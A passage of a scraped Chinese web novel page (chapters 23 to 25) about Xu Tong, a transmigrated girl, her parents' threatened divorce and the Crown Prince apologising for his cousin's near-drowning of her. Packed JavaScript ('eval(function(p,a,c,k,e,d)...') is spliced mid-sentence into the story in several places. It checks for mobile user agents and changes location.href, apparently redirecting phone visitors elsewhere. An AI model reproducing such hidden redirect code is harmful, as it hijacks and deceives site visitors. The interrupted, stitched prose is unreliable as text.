许曈不敢在杜沅身前撒谎,不过也不敢什么事都跟杜沅说,因此把之前的时间经过仔细跟杜沅说了,只隐去了二皇子叫住她跟她说的那些话。 那些话太惊世骇俗,她不能跟人说明二皇子身份有异——怕那会牵连到自身,也不敢直接跟人说是二皇子想要她的命——这种事情说出去没人会信,只怕还会让人觉得她是有被害妄想症或者是故意挑拨离间。 太子的生母是许宁,许宁是皇后,可是也是许家出身的,许家是太子的外戚,天然上便是太子一党,而听傅容萱与许昤说,二皇子的生母出身陆家,二皇子曾外祖父如今身居尚书令之位,可谓是位高权重——可即使如此,陆家还是想更进一步,陆家女儿所生的二皇子自然便是那最好的选择—— 如果许曈对外宣称是二皇子想害她——陆家以及陆贵妃一定不会善罢甘休,到时候一定会出事。 “二皇子呢?杜沅听完许曈的叙述,沉默许久,问了一句:“二皇子自始至终都没有过任何阻拦的意思吗?” 许曈摇了摇头——二皇子既然有心借刀杀人,又怎么会拦着晋王世子找许曈麻烦,他倒不是没有任何阻拦的意思——他忙着阻拦的是许旻,不让许旻有机会破坏晋王世子的“恶作剧”。 如果不是许曈将船弄翻把晋王世子也拖下水——也许今天她的命就真的交代在池中了。 她不是第一次经历死亡,她知道死亡的滋味不好受,她不想再承受一次了——毕竟这里有许旻,有她所留恋的。 杜沅顿了顿:“待会进去之后,你就像刚才那般实话实说便好——只是不必提及二皇子。” 这话的意思,即使要将二皇子摘出来,许曈偏头看了杜沅一眼:“那晋王世子……” “不必担心,他不会有事的,”杜沅神色微哂:“再说了,事情本就是他做的,他全认下也不无辜。” 许曈叹气:“可晋王世子不像是会认下这些错的人。”毕竟他根本不觉得自己有错。 “未必需要他认错,只要他认下那事情是他做的便足以,”杜沅微微摇头:“其他的事情,其他人自有评判。” 许曈点头——也只能如此了,虽然听杜沅的意思,即使晋王世子承认下那些事是因他而起,他受罚也不会被罚得太重,许曈心中虽然很不忿,可是也是无能无力得很,谁让晋王世子后台足够硬呢。 只希望这小恶魔别太记仇,对她的事情已经验证过了想必现在已经是不感兴趣了,以后遇着这个人便绕道走,跑得远远的不让他再近前便是了。 明知对方是恶虎还上前去招惹,那不是无畏是无知。 “其实这事情我也是好奇过的,”杜沅叹气,小心看了许曈一眼:“你如今看着……与他们之前说的似乎不太一样。” 许曈心中一咯噔,听她说完之后既是松了一口气又隐隐觉得酸涩——杜沅用的是“听说”,可知前几年她几乎是没怎么见过许曈的。 她们母女过去关系淡薄于如今的许曈而言算得上是一个好机会,可是对于原来的许曈而言,又有些太残忍了。 “我也不知道为什么,”许曈低头,斟酌着言辞:“之前烧得迷迷糊糊的,烧退了之后突然变感觉清明了许多,以前很多没办法理解的事情或者话,渐渐地看多了听多了,就认识理解了。” 杜沅收回视线,眼神避向路旁的花木:“那么……以前的事情……你还记得多少?” “不怎么记得了,”她不是原主,不像二皇子一样开了金手指还能记得别人“前世”发生过的事,她一直都对于许曈原来的事情、自身的处境一无所知,许昤傅容萱能告诉她大环境的事情,可是对于许曈自身的事,还是全靠察言观色以及暗中揣摩,直至今日,仍然知之甚少——但她又不可能明白的跟杜沅说因为自己不是原主所以都不记得,只能道:“偶尔能想起一些以前的事,不过感觉那些事都隔着一层厚厚的云雾,看不真切。” 杜沅似乎是舒了口气,顿了顿,不自在得道:“等忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142884|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完了你们祖母的寿宴——你便搬到这边来吧,你那里……的确是有些远了。” “离得近一些——”杜沅声音有些干涩:“你每日出门前去跟你们祖母道别也可以少走一些路——如今天热尚好,等冬日来了,却是有些受罪的。” 怎么这么突然? 许曈看了杜沅一眼,想问又不敢问原因,只好应了一声。 虽然许曈觉得自己一个人住在角落挺好的,可杜沅有些与她“亲近”,她又不可能拒绝——这毕竟是她这身体的母亲,不管杜沅为何改变了主意,她若是拒绝,似乎有些太伤人。 许曈只能应下,顿了顿问杜沅:“关于今日之事……你信我吗?” 杜沅愣了愣,没多说什么。 她们之间似乎还是生疏得很,但如今杜沅愿意跨出这一步……许曈觉得自己也应该给彼此一个机会。 正沉默间,已经到了正院外。 许曈深吸一口气,她知道,里边还有得熬——对于晋王世子这种不讲理的人,并不是一件简单的事情,她必须十分小心,不能牵一发而动全身,让她跟晋王世子今日之事,成为他人别有用心的攻讦点。 然而似乎有人不想她如愿—— 甫踏入正院的门口,许曈便遇见了许旻,遇见许旻原本是件开心的事情,可如果许旻身边跟着的人是许定,那就不太美了。 他们进去的时候,许定正一脸严厉:“跪下。” 许旻跪了,但是不解地看着许定。 许定并没有因为他的听话而面色缓和:“认错。” 许旻愣了愣:“我何错之有?” 许定闻言便有些发怒,反问道:“你自己问问自己,你错了什么?” 许旻昂首:“我没错。” 许定更是气恼,许旻顶着他的不容,不肯低头:“别说今日我没做什么——就算我真做了什么,哪怕是我将晋王世子推落水中,那也是晋王世子咎由自取——你是没看到他对妹妹做了什么!” “若不是妹妹运气好,晋王世子自己也跟着落水——”许旻声调微扬,似乎仍是心有余悸:“妹妹差一点便被他害死了,我恨自己没能一开始就阻止他接近妹妹、我恨自己不能尽早将妹妹救起来——你却让我跟晋王世子道歉?你让我跟一个欲杀害我妹妹的人道歉?” 将晋王世子与杀人犯画上等号似乎是有些过分——虽然差一点他就真成了事——可是这么说出来还是有些逾矩,许定很显然也知道许旻口不择言说错话了,抬起手便要教训教训许旻—— 许曈上前想要替许旻挡下这一巴掌,闭上眼睛等着许定的手落下,然而预想中的疼痛并没有到来,睁开眼,看到杜沅拦下了许定。 甩开许定的手,杜沅似乎有些嫌弃,让许旻起身,不顾许定的怒意,冷着脸道:“是非曲直,总要辩过、对质过才能明了,事情还不清楚之前,便先将自己人屈打成招,是最蠢的下下之策。” 虽然此刻很不合时宜,但是听到杜沅骂许定蠢,许曈还是觉得解气得很。 许定气得涨红脸:“便是你一味这般纵容着他,他才会这般无法无天。” “他做了说那么就够得上‘无法无天’了?”杜沅反问:“你当时在场吗,你亲眼所见吗?你什么都不知道,就先将十一定罪——我没见过这么加害自己孩子的人。” 许定反问:“那你又在何处,你亲眼见他没错了吗?” “我没亲眼见过,”杜沅声音平静:“但我不会屈打成招。” “之前我想过,你对阿曈这个女儿不在意,把阿曈留在许家,兴许哪天阿曈便又会被谁谁谁给害了,所以我走后,会将阿曈带走,至于十一,十一不是阿曈,留在许家应该无碍,”杜沅皱了皱眉头:“如今想想,十一也不能留在许家——否则的话,没准哪天便被你害死了。” 许曈回头与许旻对视,两人都从对方眼中看到了惊讶——杜沅那话里的意思……是要跟许定分开? 两人都没料到有这事,一时之间不知道说是那么才好。 许定愣了一瞬,回过神来:“你什么意思!” 23. 023 和离 “我以前只当你是没有担当而已,却没想到你如今连别人说的话都听不懂了,”杜沅不看他,起身对许旻也许曈道:“你们起来吧。” 许曈和许旻你看看我我看看你,都不敢起来。 许曈反而还跟着许旻一道跪下了。 “你疯了吗?”许定回过神来:“难道你要跟我和离?” 杜沅一脸“欣慰”:“你总算还不是无可救药。” “你疯了吧!”许定气恼:“你我是御赐的婚姻——” “御赐的婚姻又如何?”杜沅不以为然:“当初陛下赐婚,是要你我成亲,可没说过就得一辈子绑在一处不能和离,如今你我过不到一处,当然是该一别两宽,而不是这般继续折磨下去。” “怎么叫‘彼此折磨’?”许定似乎也并不愿谈论这事情:“这么多年都过了,你到底是为何生出这样的念头!” “你自然是不觉得折磨,毕竟这些年里,你倒是过得惬意得很,”杜沅面色沉静:“但我觉得折磨,我觉得委屈,我觉得与你过不下去了。” 许定指着她说不出话来,杜沅又道:“其实若只是我一个人委屈,倒也罢了,自阿曈出生后,我虽恨你,但你我不相往来,所以倒也相安无事——若一直都这么相安无事,我也懒得兴起这样的念头,然而近来你所为,委实是有些太过了,我是可以当缩头乌龟不管不问,然而我再这么放任下去,我两个孩子都要被你给毁了。” “上次阿曈的事情便是这样,明明是许晢的错,然而因为许晢是你最疼爱的儿子,所以明明是他错了,你也不愿意罚他教训他,却没想过万一要是晚了一步,阿曈只怕就没了,”杜沅面带讥讽:“你也别总拿许晢年纪小不懂事来说事,许晢只比阿曈小了那么几个月,而且你我都清楚,要不是阿曈早产,他们年纪会更接近——” “许晢为什么会养成这样的性子,你责无旁贷,我有时候倒也是庆幸得很,得亏你因为我的缘故,不是太关心十一,十一才才没长成你这般模样——”杜沅低头:“但我发现近来你不知那根筋抽错,开始管起十一的事来——你什么才学,我原以为你心中会有数,不会妄图去染指十一的学业,哪知你根本就是没有自知之明,只知道一味的严苛,十一若是让你这么继续误人子弟下去,哪怕有褚先生教导,只怕也难有进益。” 许定面上青一块红一块,对于杜沅的嘲讽十分不忿,然而似乎也无力反驳。 “其实我也不是说不许你插手十一的事情,然而你这人十分拎不清,这是一个很大的缺陷,”杜沅顿了顿又道:“阿曈与许晢的事,你明知道是许晢错了,可你只知道偏袒许晢,让阿曈一个人受委屈——今日之事也是,就算你我都不知道实情,可是你连问都不问,便擅自认定是十一有错——事情还未明了,你便想让十一委屈认下这罪过……” “你如此行事,我倒不觉得你是惧怕晋王世子或者说晋王,更多的只怕是出于对我的不满——因为十一和阿曈是我生的,所以你便迁怒他们?”杜沅面有薄怒:“因为他们是我所生的,所以他们便该一直忍让、不争不抢满足你的私心?” 杜沅冷笑:“你以为不罚许晢,让阿曈白白受罪,别人便会夸你疼爱孩子吗?不会,别人只会觉得你是非不分赏罚不明,还有你以为这样对许晢便是好事了?别人只会记得许晢小小年纪便十足恶毒伤害手足,许晢这个人,我说白了,他这辈子都不会有什么出息了。” “今日之事也是这样,”杜沅看了看许旻:“你以为,你逼着十一认错是为他好,你分明是在害他——他没什么错,却因为你逼着他认罪,担负了根本不属于他的罪名——你根本就不在乎十一的前程,你在乎的只是自己面子,为了自己面子,你不惜牺牲自己孩子一辈子的名誉——” “许晢已经被你毁了,他不是我生的,我无所谓,”杜沅不看许定:“然而十一尚且还有救,我不能让你毁了十一。” “我如何就会毁了十一了?”许定怒视杜沅:“再说了,十四的事情,你以为自己就能脱得了干系,无论如何,你始终是十四的嫡母!” “很快便不是了,”杜沅神情愉悦:“我没管教过许晢一天,他如何,自然是你带出来的,与我何关?” 许定自以为抓住了她的疏漏:“你是十四的嫡母,你没管过他一天这种事,难得是值得称颂的事情吗?” “这得问你了,我倒是想管,可是当初是谁说不忍别人骨肉分离,非得让花玉亲自抚养许晢的?又是谁在我随口问一句许晢日常起居便觉得我是居心叵测骂我‘毒妇’的?”杜沅一点都没上当:“如今许晢这般了,你倒是记着我是许晢‘嫡母’了?说实话,许晢长成如今这样,你与花玉,委实是居功至伟。” 许定吃瘪,顿了顿,又道:“你说我是非不分,然而你怎么就能肯定,十一一定是没错的?难道你就不是偏袒了吗?” 杜沅嗤之以鼻:“我可不是你,我有眼睛耳朵,我会看会听,而你是目盲耳聋,你看不见十一的长处,也听不到十一的解释,只一味地活在你所想当然的‘事实’里,妄自给十一定了罪,十一解释,你便认定他是狡辩,欲加之罪何患无辞,说的便是你了——因为你觉得十一有错,所以十一做什么都是错的。” “你也只是听信他们一面之词而已,”许定不肯让步:“你如何能断定,一定不是十一的错。” “哥哥没错,”许曈到底还是忍不住:“哥哥什么都没做。” 许定噎住:“大人说话,小孩不许插嘴。” 许曈很想回怼说这句话本就错的,是所谓“大人们”知道自己无理时最后的遮羞布而已,然而看了看一脸油盐不进的许定,抿了抿嘴——既然知道说不动对方,又何必白费唇舌。 “你倒是厉害得很,只知道欺压自己的孩子,对外倒是一味忍让,”杜沅冷笑:“如今外边还在传言着,当初许八是如何无法无天,又有谁知道,如今的许定只知道缩在家中,拿自己孩子撒气——” 见许定欲说什么,杜沅根本不给他机会:“你也别说什么‘人都是会变的’之类自欺欺人的话了,我可没见过有谁是越变越无能的,年近而立,一事无成,昔日意气风发从不让人的‘小国舅’如今就只是个懦弱得为了自己面子不惜委屈自己子女的人。” “我不知道十一和阿曈今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听闻这时代很少有和离之事,何况是杜沅许定这样御赐的婚姻——许曈心中纠结得很,一面是担心未来会变成二皇子所说的未来,一面也是觉得杜沅和许定如今的情形,再过下去也只是怨侣而已,她不觉得杜沅嫁了许定就该一辈子死心塌地——许定这人也没办法让人死心塌地,杜沅若是想和离,许曈也很理解……可她是真的怕杜沅会输—— 那样的话,她跟许旻便要分开了,跟杜沅担心的一样,许曈真的觉得让许定抚养教育许旻的话……许旻真的会长歪,或许会长成许定这样的歪脖子树的。 那样的话,二皇子所说的未来,虽然被许曈的存在而有少许偏离,但一定是最终的走向——可许曈不愿意看到那样的结果。 她如今唯一的期望,就是他们一定要赢,如果许杜两家注定交恶,至少让许旻跟着杜沅,远离许定或许未来总还是有变化的可能。 杜沅见许旻和许曈都是一脸的担忧,也不安慰,只是问他们:“怎么,你们今日说的不是实话?” 许旻和许曈连忙否认:“我们没说假话。” 杜沅摆摆手:“那你们担心什么。” 顿了顿,杜沅又道:“放心吧,你们都是我生的,不会让你们手足分离的。” 话虽是这样说……许旻和许曈互看一眼,都有些唉声叹气——晋王世子那脾气……就算他俩有理,只怕也拗不过他的强词夺理啊。 晋王世子是太子的堂弟,又是一起长大,比他们兄妹与太子的关系更亲近,二皇子又不肯说实话——今日的结果,他俩不敢像杜沅那般肯定。 24. 024 道歉 杜沅不理会他俩的担忧,也不再看许定,径自往前走。 许旻与许曈连忙跟上,稍稍走几步,便看到开着的正门里,正堂之上所有人都沉默着看他们一家人走进来。 其中包括晋王世子,他早来了一步,他们说话的地儿并不远,想必里边的人都听到了,如今晋王世子正一脸幸灾乐祸—— 许曈越来越讨厌这死小孩了。 如今想想,只是让他落水还是太便宜他了。 对于众人的注视,杜沅熟视无睹,带着许旻许曈向太子、二皇子以及晋王世子行礼,问候过老夫人以及各家长辈与许宏夫妇,便带着许旻许曈站到老夫人身后。 许定落后了一步,如今也不好多说什么,也跟着行礼之后立道老夫人身后。 本来许旻许曈是分立在杜沅两边的,见他站到许旻身边,杜沅便将许旻拉到了许曈那一边。 许定脸色更臭了,只是眼下这情形,他也不好再发作。 他们进去之后,里边仍旧是安安静静的,没有人愿意先开那个口。 想来他们都听到了杜沅与许定的赌约,虽然这些人齐聚这里,是为了将许曈与晋王世子的事情对质清楚,可是对质的结果关系甚大,这时候他们宁愿自欺欺人,仿佛不开始便不会有结果,谁先开口便成了罪人。 经过之前那一番,这事情已然变了味,早就不是许曈与晋王世子谁对谁错的问题了,而是杜沅和许定的婚姻成败,以及许旻许曈兄妹未来去向的问题。 长久的沉默之后,太子终于开了口:“先前听到小舅舅与小舅母打赌,询也是有兴趣得很,也想参与一下,小舅母觉得如何?” 他直接问杜沅,似乎很清楚如今杜沅与许定之间,是杜沅占了上风。 “不敢,”既然点到了自己,杜沅便也不扭捏,站出来对太子行礼:“不知殿下想赌什么?” “俗话说宁拆十座庙不毁一门亲,这世间夫妻实在难得,我怜惜表弟与表妹,不忍见他们手足分离,”太子看着杜沅:“想与小舅母商量商量,是否能有不和离的选择。” “殿下,臣妇有一事相问——”杜沅虽然没有直视太子,不过却也没有低头:“先前臣妇与夫君的赌约,是说若十一与阿曈无辜,则将十一与阿曈带离,反之则将十一留下,如今殿下却说不忍他们兄妹分离——臣妇想问……还未对质,殿下心中是否已经有了定论?” “小舅母多虑了,都是自家亲戚,不必在乎这些虚礼,”太子稍稍愣了一瞬:“是我失言了,先前之事,还望小舅母勿怪——只是还是想劝劝小舅母与小舅舅。” “殿下的好意,臣妇心领了,只是殿下之请与臣妇和夫君先前所约定的有抵触,”杜沅声音平和:“此时臣妇再与殿下打赌,难免会左右为难,且殿下加入之后,今日之事便有些为难——若殿下是以今日的真相作赌,比如说,若今日之事错在十一与阿曈,殿下便让臣妇不许提和离——如最后判定的结果,即使真的是十一他们的错,臣妇只怕会以为,殿下为了劝和,故意扭曲了事实。” “小舅母多虑了,我不会做那样的事,”太子轻轻摇了摇头:“事情真相如何,我已经是十分清楚,然而十一……和表妹毕竟是许家的孩子,我也不愿见父子、父女分离,尤其是祖孙分离,然而我又心知,这时候,外人命令小舅母当如何,只怕是会适得其反,所以只是想与小舅母商议一下,是否还有转圜的余地。” 许曈看了许旻一眼,稍稍安心——太子这番话的意思很清楚了:他已经清楚整件事并不是许曈与许旻的错。 其实对质已经没了意义,太子也不愿意让他们继续对质,一是因为晋王世子,二是因为杜沅和许定的婚姻。 “有两句话,臣妇或许不当说,”杜沅叹气:“道理是不辩不明的,一味的纵容并不是对孩子最好的关护。” 太子殿下沉默良久,突然起身对杜沅躬身一拜:“小舅母所言极是,询受教了。” 杜沅侧开身子,避开太子的拜礼:“殿下多礼了,臣妇不敢当。” 许曈愣了愣,轻轻一叹,都说外甥肖舅,但一直以来,太子的风评都与以前的许定大相径庭,没有人会觉得太子像许定,因为那相当于指着太子的脸说他不堪为储君——然而有时候,太子其实也挺像许定的,比如他对于晋王世子犯错之后的包庇,像极了当初许定对许晢的袒护。 所不同的是,许定对许曈并不在意,而太子则要多考虑一下许家。 这是太子比许定好的地方,也是让太子在处理晋王世子与许曈一事时,比当初许定处理许晢与许曈的事情时更为难的地方。 太子想做得更好,想让事情能够调和——然而也只是掩耳盗铃之举罢了。 好在他比许定更好的地方在于,他肯听别人说话。 只是以他如今的地位,只怕也没多少人会跟他实话实说。 所以他才会拜谢杜沅——他很清楚,杜沅是在警醒他。 有那么一瞬间,许曈觉得太子挺像许定的,可是当他起身之后,许曈便觉得他一点都不像许定了,而且以后怕是都不会像许定了。 太子收敛了神色,轻轻一叹:“询很感激小舅母的指点,正是因为这样,更不愿意看到小舅母与小舅舅和离——往后询若是有什么疑惑,还想着让小舅母提点提点呢。”而若是杜沅与许定和离,那么这亲戚的关系,自是难维系。 “殿下言重了,臣妇什么都没做,不值当如此,”杜沅顿了顿:“其实倒也不是无可转圜的——” 太子连忙道:“小舅母请说——” “阿曈与晋王之事既然已经有了结果,那么我也不会继续追究,”杜沅叹了口气:“只是这事,阿曈与十一着实是受了委屈,做母亲的,没什么太高的期望,只希望晋王世子能向阿曈以及十一认个错,让他们知道,自己所坚持的并没有错。” “若晋王世子肯认错——”杜沅声音平和:“我与夫君,不和离也罢。” 别人都看向晋王世子,许曈却偷偷看了一眼许定,发现他居然也一脸期盼——在外边的时候,许曈看他与杜沅针锋相对,可是她也看出来了:其实许定并不愿意和离。 然而太子和杜沅的对话已经很清楚了——太子已经查明,今日落水之事是晋王世子的过错,许定与杜沅的赌约——他已然是输了。 其实不管他是输是赢,和离之事本就是杜沅的决心——眼下看起来还有希望,许定自是有所期待。 不过……许曈叹气,杜沅敢这样说,当然是知道晋王世子不可能道歉的。 她把再给许定机会的可能放在晋王世子身上,因为道歉这事情,在晋王身上就是——不可能。 许曈把目光移向晋王世子,发现他一直在瞪着她,如今见许曈看他,立刻恶狠狠地道:“想让小爷道歉?没门!” 许曈耸耸肩——她就知道会是这样。 “阿谌!”太子无奈:“错了便是错了,只是道歉而已,已是十分宽宏大度了。” “凭什么让我与他们道歉?”晋王世子昂着脖子,连头都不肯稍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142886|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低:“我是什么身份他们是什么身份?太子哥哥你偏心!” “并不是偏心,而是偏向于事实而已,”太子叹了口气:“阿谌,他们都与我招了。” 晋王世子看向四周,太子摇摇头:“你不必找了,他们不会再出现在你跟前了的。” 晋王世子面上阴晴不定:“太子哥哥,他们若不出来对质,许家兄妹又肯定是合谋,我反倒是百口莫辩了——” 太子看了他半晌,长叹一声:“你们一个边是我堂弟,一边是我表亲,我并没有可以为难谁或是偏袒谁,阿谌,错了便是错了,道个歉并不是什么难事,若你觉得你是王府世子,不该低头,那么,我替你道歉——” 晋王世子顿时着急:“太子哥哥!” 太子并不理会,径自走向许曈与许旻:“这事情的确是阿谌做错了,王叔不在京中,阿谌自小跟着我,他养成这般性子,我责无旁贷——害得表妹落水,也害得十一蒙受委屈,在这里向十一与表妹赔不是了。” 许旻和许曈哪里敢受,连忙避让开:“殿下折煞我们了——” “这歉不仅仅是替十一道的,也是我自己诚心反省——其实这事本不该拖了这么久,阿谌什么性子,我其实是知道的,我一早便知道是阿谌的错,但还是想替阿谌隐瞒推脱,这是我另一重罪过,”太子正色道:“十一与表妹若是不受,那我心中只怕是难安。” 许旻许曈无奈之下,也只好接受了:“殿下不必如此,我们受了便是。” 看了看晋王世子,许曈无奈却也只能妥协:“这次之事,就这么过了吧,往后我们谁都不再提。”但也只是这次而已,还有下次的话,她一定不放过晋王世子——当然,最好还是不要有下次吧,她往后必定离这小恶魔远远的,见着他便绕道走总行了吧。 “阿谌那边,我会再劝他的,”太子也看了晋王世子一眼,摇了摇头:“表妹放心,定会让他亲自与你道歉的。” 还是别了吧,只要他不出现在许曈面前,许曈便要烧高香了——惹不起总还是躲得起的。 太子又跟老夫人就打扰了她寿宴一事道歉,最后则是转向杜沅:“今日是我失礼了,小舅母若有想做之事,尽可以去做,回宫之后,我会与母亲秉明今日之事。” 这就是说不管杜沅与许定如何,宫中都不会借口这是御赐婚姻插手的意思,他这投桃报李杜沅心领了,道谢之后转向老夫人:“近日来事情太多,儿媳心中疲累得很,想带着十一与阿曈回娘家住些时日,望母亲允许。” 老夫人看了看她又看了看太子,心知杜沅没有直接表明说事要带走许旻许曈跟许定和离,一是给老夫人面子,二是有些松软的意思,太子先前在一旁承诺说宫中不插手其实也是说让许家也不插手的意思,老夫人若是拒绝,一是不给太子面子,二是怕刺激了杜沅,便只好点头:“这些日子以来忙着我的寿宴,也的确是累坏你们了,让你们松快松快些也好,你若是想娘家人了,回去小住一段时日也好,替我向亲家母问个好,过几日我让……人去接你们回来。” 他们父母走到和离的边缘,许曈心中又是无奈又是解脱,更多的事忧心,晋王世子却似乎乐见其成,原本因为被太子逼着道歉的不快似乎都雨过天晴了,愉快地跟着太子告辞之后,见许曈看了他一眼,立刻朝着许曈无声地说着什么。 那可不是道歉,分明就是在说——“这事没完”。 好不容易跟杜沅关系稍稍好转,一转眼就快变成离异家庭小孩的许曈觉得——她好想揍他一顿。 25. 025 人渣 杜家的宅邸离程夫子的闺塾以及傅家都更近一些。 许旻一开始还挺忧心的,然而在杜家住了几日之后,就有些乐不思蜀了。 许家虽然也有家塾,然而也不过就是这几年、也就是许旻这一辈才建起来的,原因是几代下来,子孙日多,虽然许家一门两爵,说出去似乎颇为荣耀,然而能承继门户、继承家业的,也不过两人而已,加之爵位递降,再过几代,若是没有子孙能顶立门户,许家也只是后继不足。 这几乎是勋贵家的通病。 许家爵位至多再能传四代,可是子孙日益繁盛,若不准备后路,迟早有一天会湮灭,正是因为如此,许家两个当家人——许昤的父亲许安以及许曈的三伯父许宏才会在府上建立了家塾,其实也是无奈之举,许家虽然也是跟着太祖起家的,但许家并无兵权,不似裴家子孙还可靠军功出身,只能往文臣一途走。 毕竟年头不长,许家家塾比起别的人家家塾来,还是底蕴太浅。 许家这几代以来,一直致力于与各家联姻,然而虽然如今可以说许家几乎与京中大多数人家都有亲——其中性价比最高的,还是杜家。 以谢家傅家杜家为首的文臣清流,如傅容萱所说,其实一向不愿意与许家这样的勋贵人家联姻,老夫人与杜沅完全是意外——其他诸如谢家、季家、薛家,就算许家想与他们联姻,也是没有可牵线搭桥的可能。 傅容萱想让许曈嫁谢研好把自己摘出来的想法,能成事的几率其实低得几乎可忽略不计。 杜家傅家谢家因为不纳妾的缘故,子息比起许家来,可谓是单薄得很。 正因为如此,虽然是不被杜家待见的勋贵人家,但是因为是自家外孙,许旻在杜家可谓是如鱼得水受宠得很。 同样的情况,也适用于许旻与许曈姨母所出的裴家的表哥。 上一辈杜家有三个女儿,然而三个女儿都没能与相同的人家联姻,许曈与许旻大姨母、杜沅的长姐入了宫,而姨母自己选择嫁了同为勋贵的裴家,本来到了杜沅这里,无论如何都希望杜沅能嫁与杜家相当的人家,结果最后杜沅嫁给了许定。 虽然对许定不满,不过杜家似乎并没有牵连许旻和许曈的意思。 当然,除了杜沅的关系以外,也有褚先生和程夫子的原因。 这几日许旻和许曈依旧如往常一般去褚先生与程夫子处。 只是因为许家老夫人寿宴的缘故,傅容萱与许昤还有许昀好几日没来,许曈一个人被程夫子“关心”了几天,才等到傅容萱与许昤。 将二皇子那天的怪异举动以及奇怪的言语说给傅容萱与许昤听,许曈斟酌着言辞提醒她们:“我总觉得二皇子有些怪异,表姐和昤姐以后遇着他,可得小心一些才是。” 仅仅是因为怀疑许曈有问题,他便能对许曈下手,傅容萱与许昤似乎也没怎么低调过,许曈是真的担心万一二皇子找傅容萱与许昤的麻烦怎么办。 尤其是傅容萱——仅凭一些传言,许昤便认定傅容萱跟她是一类人,既然许昤能发现,二皇子也一定有所察觉,许曈并不希望傅容萱出事,傅容萱毕竟是她的表姐,对她也算不错,不想让傅容萱也遭到毒手。 傅容萱显然也是想到这一着,思索了一瞬,跟许昤叹气道:“遇到你的时候,我便想着,可能不止你跟我,还有别的什么人……却没想到是他。” 许昤赞同道:“按着小九描述的话……这人只怕不好相与。” 许曈连连点头:“所以以后你们遇着他的话,可千万要小心行事。”她可不想傅容萱出事。 “放心吧,我省得的,”傅容萱点了点头:“不过我想既然阿昤都能猜出我来,如果他真如你说的那样的话,只怕他早就知道我有问题了。” 这也正是许曈所担心的:“那怎么办?” “放心吧,”傅容萱伸手揉了揉许曈的头发:“如果他早就知道却不来找我麻烦的话……想来是我跟他所知的并无差别,或者说对他不构成威胁,所以我平日里如何往后还是得如何,如果突然变了,那才惹人怀疑。” “反倒是阿昤你需得小心一些,”傅容萱思忖道:“他怀疑小九……是因为小九是个变数,只是小九跟我们不一样,我觉得导致小九这个变数的原因,可能是因为清歌……但也有可能是因为你,只是清歌毕竟已经死了,所以你嫌疑比较大。” “只可惜不知道他话里另外经历到底是怎么回事,”傅容萱叹口气:“倒是想问问他。” 许曈被她吓得:“千万别啊。” 傅容萱笑了笑,看了许曈一眼,又有些失落:“倒没想过原来小九这么重要。” 许曈叹气,要让她选,她宁愿自己十分不重要,莫名其妙被人记在小本本上想除掉,这样的“殊荣”她实在是不想要。 傅容萱来了兴趣:“小九你把那天的经过再告诉我一遍,我想想这里边能不能多得到一点消息。” 许曈迟疑了一下,把那天的经过重新叙述了一遍。 听到二皇子对许曈的怀疑,傅容萱与许昤都有些不以为然,不过听到二皇子说上辈子也没能成事的时候,许昤却有些好奇:“成事?成什么事?” “还能有什么,”傅容萱叹气:“陆家野心不小,但是陛下对陆家有防备,陆家老爷子身居高位,其实反倒没什么权利,无非是想让二皇子上位借着外戚的身份揽权。” 不过看样子——至少在二皇子叙说的那段历史里,二皇子并没能成功上位。 “看起来,最后依然是是太子登基了啊,”傅容萱有些感慨:“只可惜那日寿宴,也没能近距离接触太子,可惜了。” “会有机会的,”许昤看了许曈一眼:“如今太子对小婶婶有亲近之意,想来对亲戚会有照拂。” “还是可惜了,”傅容萱摇头:“怎么偏偏就是表哥呢。” “不提这事了,”傅容萱摇摇头:“阿昤你跟我捋一捋,二皇子最后那句话好像很有问题——什么叫‘看小九能不能给他带来好运气’?” 许昤摇头:“我对于他一心要让宇文谌害死小九,回头突然就打算放过小九这事,还是莫名其妙得很。” “话说起来,我从来不知道小九身上还有那么奇怪的说法的,”傅容萱问许昤:“你在许家,你听过类似的说法吗?” “没有,”许昤摇摇头:“要是真有那种说法的话,以前小九不至于过成那样。” “那倒也是,”傅容萱点头:“就是不知道他到底是从哪里听来的话。” “上辈子二皇子没能成事……”许昤轻轻念叨着:“这辈子突然出现小九这样一个意外……如果他说的是真的……我隐隐想到了什么。” “是有这个可能的,虽然这些神神道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许曈颇有些不好意思——还不是她俩整天拿谢研来说事,傅容萱还整日想让她嫁谢研,她可不就被她们带歪了吗。 “其实说起来,其实我们与他也没什么血缘关系——”许昤突然顿住,看了一眼许曈又摇头:“只是无论如何,他都不可能娶许家的女儿——” 许曈顿时十分鄙夷二皇子——这么说来,二皇子可能就是想来撩拨她,但是不会娶她——看样子这二皇子是渣男无误了。 